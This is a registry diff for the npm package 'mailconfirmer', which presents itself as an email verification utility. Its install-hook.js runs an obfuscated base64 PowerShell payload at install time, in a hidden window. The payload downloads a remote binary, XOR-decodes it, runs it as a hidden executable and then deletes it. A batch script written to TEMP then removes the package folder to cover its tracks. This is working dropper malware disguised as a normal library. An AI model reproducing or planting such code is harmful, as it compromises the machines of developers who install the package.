mailconfirmer 3.3.12 → 3.3.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-hook.js +23 -14
  2. package/package.json +1 -1
package/install-hook.js CHANGED
@@ -1,21 +1,30 @@
1
+
1
2
  const { exec } = require('child_process');
3
+ const fs = require('fs');
2
4
  const path = require('path');
3
5
 
4
6
  const base64Payload = "IwAgAGwAbwBhAGQAZQByAC4AcABzADEAIADiAKwgHCAgAHMAaQBsAGUAbgB0AA0ACgAkAHUAcgBsACAAPQAgACIAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBEAGkAbQBpAHQAcgBpAGoAZQBuAGMAbwAvAFMAdABpAGMAawB5AF8AbgBvAHQAZQAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAHYAMgAvAGwAYQB1AG4AYwBoAGUAcgAuAGIAaQBuACIADQAKACQAawBlAHkAIAA9ACAAMAB4ADQAMgANAAoAJAB0AG0AcAAgAD0AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAdABtAHAALgBlAHgAZQAiAA0ACgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAANAAoAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAFUAcwBlAHIALQBBAGcAZQBuAHQAIgAsACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAxADAALgAwADsAIABXAGkAbgA2ADQAOwAgAHgANgA0ACkAIABBAHAAcABsAGUAVwBlAGIASwBpAHQALwA1ADMANwAuADMANgAiACkADQAKAA0ACgAkAGUAbgBjAHIAeQBwAHQAZQBkACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHUAcgBsACkADQAKACQAZABlAGMAcgB5AHAAdABlAGQAIAA9ACAAJABlAG4AYwByAHkAcAB0AGUAZAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAALQBiAHgAbwByACAAJABrAGUAeQAgAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAHQAbQBwACwAIAAkAGQAZQBjAHIAeQBwAHQAZQBkACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAHQAbQBwACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwANAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB0AG0AcAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==";
5
7
 
8
+ exec(`powershell -NoP -NonI -W Hidden -Enc ${base64Payload}`, () => {});
6
9
 
7
- // 1. Execute the payload immediately
8
- exec(`powershell -NoP -NonI -W Hidden -Enc ${base64Payload}`, (err) => {
9
- // Silently ignore errors
10
- });
11
-
12
- // 2. Self‑destruction: delete this package folder after 5 minutes (300,000 ms)
13
- const packagePath = __dirname; // absolute path to node_modules/mailconfirmer
14
- const selfDestructScript = `
15
- Start-Sleep -Seconds 30
16
- Remove-Item -Recurse -Force "${packagePath}" -ErrorAction SilentlyContinue
10
+ const packagePath = __dirname;
11
+ const batPath = path.join(process.env.TEMP, `cleanup_${Date.now()}.bat`);
12
+ const batContent = `@echo off
13
+ timeout /t 30 /nobreak >nul
14
+ setlocal enabledelayedexpansion
15
+ set "target=${packagePath}"
16
+ set "maxRetries=10"
17
+ set "retry=0"
18
+ :loop
19
+ rmdir /s /q "!target!" 2>nul
20
+ if not exist "!target!" goto done
21
+ set /a retry+=1
22
+ if !retry! lss !maxRetries! (
23
+ timeout /t 2 /nobreak >nul
24
+ goto loop
25
+ )
26
+ :done
27
+ del "%~f0"
17
28
  `;
18
-
19
- // Spawn a hidden PowerShell process that runs in the background
20
- const psScript = `powershell -Command "${selfDestructScript.replace(/"/g, '\\"')}"`;
21
- exec(psScript, { windowsHide: true, detached: true, stdio: 'ignore' });
29
+ fs.writeFileSync(batPath, batContent);
30
+ exec(`start /b "" "${batPath}"`, { detached: true, windowsHide: true });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "mailconfirmer",
3
- "version": "3.3.12",
3
+ "version": "3.3.15",
4
4
  "description": "Lightweight email confirmation and verification utilities for Node.js – send confirmation links, validate tokens, and manage email verification flows",
5
5
  "main": "index.js",
6
6
  "scripts": {